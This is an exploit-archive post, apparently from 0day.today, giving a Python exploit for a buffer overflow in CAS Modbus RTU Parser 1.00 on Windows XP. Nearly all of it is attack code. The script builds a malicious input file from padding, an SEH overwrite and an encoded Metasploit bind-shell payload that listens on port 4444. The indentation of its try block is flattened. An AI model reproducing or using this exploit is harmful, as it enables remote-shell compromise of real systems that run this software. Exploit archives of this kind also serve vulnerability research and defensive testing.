CAS Modbus RTU Parser Buffer Overflow Exploit

hello, nice to meet u
A few day ago, Senator of Pirates published CAS Modbus RTU Parser Buffer Overflow PoC code,
so i try to make Exploit Code,

This is ~

# Exploit Title: CAS Modbus RTU Parser Buffer Overflow Exploit
# Date: 2012,09,07
# Author: Senator of Pirates / h2spice
# Vendor or Software Link: http://www.chipkin.com/technical-resources/cas-modbus-rtu-parser/
# Version: 1.00
# Category:: local
# analysis pdf: http://training.nshc.net/halfday_analysis/20120911_CAS_Modbus_RTU_Parser_1.0_Buffer_Overflow_%EC%B7%A8%EC%95%BD%EC%A0%90_%EB%B6%84%EC%84%9D%EB%B3%B4%EA%B3%A0%EC%84%9C.pdf
# Tested on: xp sp3 ENG
# facebook: /h2spice

# Exploit Code : 

#!/usr/bin/python
#
#[+]Exploit Title: CAS Modbus RTU Parser 1.00 Buffer Overflow Exploit
#[+]Date: 09\11\2012
#[+]Exploit Writer: H2spice
#[+]Author: Senator of Pirates
#[+]Tested On: WIN-XP SP3 Eng
#[+]CVE: N/A
#
#

from struct import pack
import os
import sys
from time import sleep


print '''
CAS Modbus RTU Parser 1.00 Buffer Overflow Exploit 
Created By h2spice ([email protected])
Author : Senator of Pirates

'''
sleep(2)

buf = ("\x41" * 18072)
buf += ("\xeb\x08\x90\x90") #nSEH(jmp to shellcode)
buf += pack('<L',0x004039ed)#SEH(pop/pop/ret)
buf += ("\x90" * 20)

#windows/shell_bind_tcp - 751 bytes
#http://www.metasploit.com
#Encoder: x86/alpha_upper
#AutoRunScript=, VERBOSE=false, EXITFUNC=process, LPORT=4444,
buf += ("\x89\xe5\xda\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43"+
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"+
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"+
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"+
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x49\x45\x50"+
"\x35\x50\x53\x30\x35\x30\x4b\x39\x4a\x45\x36\x51\x38\x52\x33"+
"\x54\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x46\x32\x44\x4c\x4c\x4b"+
"\x30\x52\x45\x44\x4c\x4b\x33\x42\x37\x58\x44\x4f\x38\x37\x51"+
"\x5a\x57\x56\x50\x31\x4b\x4f\x36\x51\x4f\x30\x4e\x4c\x47\x4c"+
"\x53\x51\x43\x4c\x34\x42\x46\x4c\x37\x50\x49\x51\x38\x4f\x54"+
"\x4d\x53\x31\x38\x47\x4a\x42\x4a\x50\x36\x32\x56\x37\x4c\x4b"+
"\x56\x32\x44\x50\x4c\x4b\x37\x32\x37\x4c\x43\x31\x38\x50\x4c"+
"\x4b\x37\x30\x33\x48\x4b\x35\x59\x50\x54\x34\x31\x5a\x33\x31"+
"\x4e\x30\x36\x30\x4c\x4b\x30\x48\x52\x38\x4c\x4b\x56\x38\x57"+
"\x50\x53\x31\x4e\x33\x4a\x43\x57\x4c\x30\x49\x4c\x4b\x50\x34"+
"\x4c\x4b\x53\x31\x39\x46\x50\x31\x4b\x4f\x36\x51\x59\x50\x4e"+
"\x4c\x59\x51\x48\x4f\x34\x4d\x45\x51\x59\x57\x50\x38\x4b\x50"+
"\x53\x45\x5a\x54\x33\x33\x53\x4d\x4b\x48\x47\x4b\x33\x4d\x31"+
"\x34\x42\x55\x4a\x42\x46\x38\x4c\x4b\x36\x38\x31\x34\x45\x51"+
"\x38\x53\x55\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x50\x58\x35"+
"\x4c\x43\x31\x59\x43\x4c\x4b\x34\x44\x4c\x4b\x35\x51\x48\x50"+
"\x4c\x49\x31\x54\x31\x34\x57\x54\x51\x4b\x31\x4b\x55\x31\x56"+
"\x39\x30\x5a\x50\x51\x4b\x4f\x4d\x30\x31\x48\x31\x4f\x30\x5a"+
"\x4c\x4b\x54\x52\x5a\x4b\x4d\x56\x51\x4d\x33\x58\x37\x43\x47"+
"\x42\x45\x50\x53\x30\x43\x58\x34\x37\x53\x43\x46\x52\x31\x4f"+
"\x50\x54\x52\x48\x30\x4c\x54\x37\x46\x46\x53\x37\x4b\x4f\x39"+
"\x45\x58\x38\x4c\x50\x55\x51\x43\x30\x45\x50\x37\x59\x58\x44"+
"\x46\x34\x56\x30\x53\x58\x31\x39\x4d\x50\x32\x4b\x45\x50\x4b"+
"\x4f\x58\x55\x36\x30\x56\x30\x56\x30\x46\x30\x47\x30\x46\x30"+
"\x31\x50\x46\x30\x55\x38\x4a\x4a\x44\x4f\x39\x4f\x4b\x50\x4b"+
"\x4f\x48\x55\x4d\x59\x59\x57\x50\x31\x59\x4b\x30\x53\x55\x38"+
"\x55\x52\x35\x50\x52\x31\x51\x4c\x4b\x39\x4a\x46\x32\x4a\x32"+
"\x30\x31\x46\x50\x57\x35\x38\x49\x52\x59\x4b\x56\x57\x53\x57"+
"\x4b\x4f\x39\x45\x30\x53\x51\x47\x52\x48\x4e\x57\x4d\x39\x37"+
"\x48\x4b\x4f\x4b\x4f\x49\x45\x51\x43\x50\x53\x30\x57\x35\x38"+
"\x44\x34\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x56\x37\x4c"+
"\x49\x58\x47\x43\x58\x34\x35\x42\x4e\x50\x4d\x53\x51\x4b\x4f"+
"\x58\x55\x55\x38\x43\x53\x52\x4d\x33\x54\x55\x50\x4c\x49\x4b"+
"\x53\x51\x47\x46\x37\x31\x47\x36\x51\x4c\x36\x33\x5a\x42\x32"+
"\x31\x49\x46\x36\x5a\x42\x4b\x4d\x45\x36\x48\x47\x47\x34\x31"+
"\x34\x37\x4c\x55\x51\x33\x31\x4c\x4d\x30\x44\x47\x54\x44\x50"+
"\x48\x46\x35\x50\x30\x44\x30\x54\x30\x50\x46\x36\x51\x46\x56"+
"\x36\x37\x36\x46\x36\x30\x4e\x31\x46\x51\x46\x51\x43\x31\x46"+
"\x32\x48\x52\x59\x48\x4c\x57\x4f\x4b\x36\x4b\x4f\x38\x55\x4d"+
"\x59\x4d\x30\x50\x4e\x56\x36\x51\x56\x4b\x4f\x36\x50\x43\x58"+
"\x54\x48\x4c\x47\x55\x4d\x33\x50\x4b\x4f\x4e\x35\x4f\x4b\x4a"+
"\x50\x58\x35\x4f\x52\x36\x36\x53\x58\x49\x36\x4d\x45\x4f\x4d"+
"\x4d\x4d\x4b\x4f\x58\x55\x47\x4c\x43\x36\x53\x4c\x35\x5a\x4d"+
"\x50\x4b\x4b\x4d\x30\x54\x35\x55\x55\x4f\x4b\x57\x37\x35\x43"+
"\x32\x52\x52\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x41"+
"\x41")

print "\t\t[+]Creating File  Exploit.txt..."
sleep(1)
try:
f = open("Exploit.txt","wb")
f.write(buf)
f.close()
print "\t\t[+]File Exploit.txt Created."
sleep(2)
except:
print "\t\t[-]Error in Create file Exploit.txt"
sleep(1)



#  0day.today [2018-02-07]  #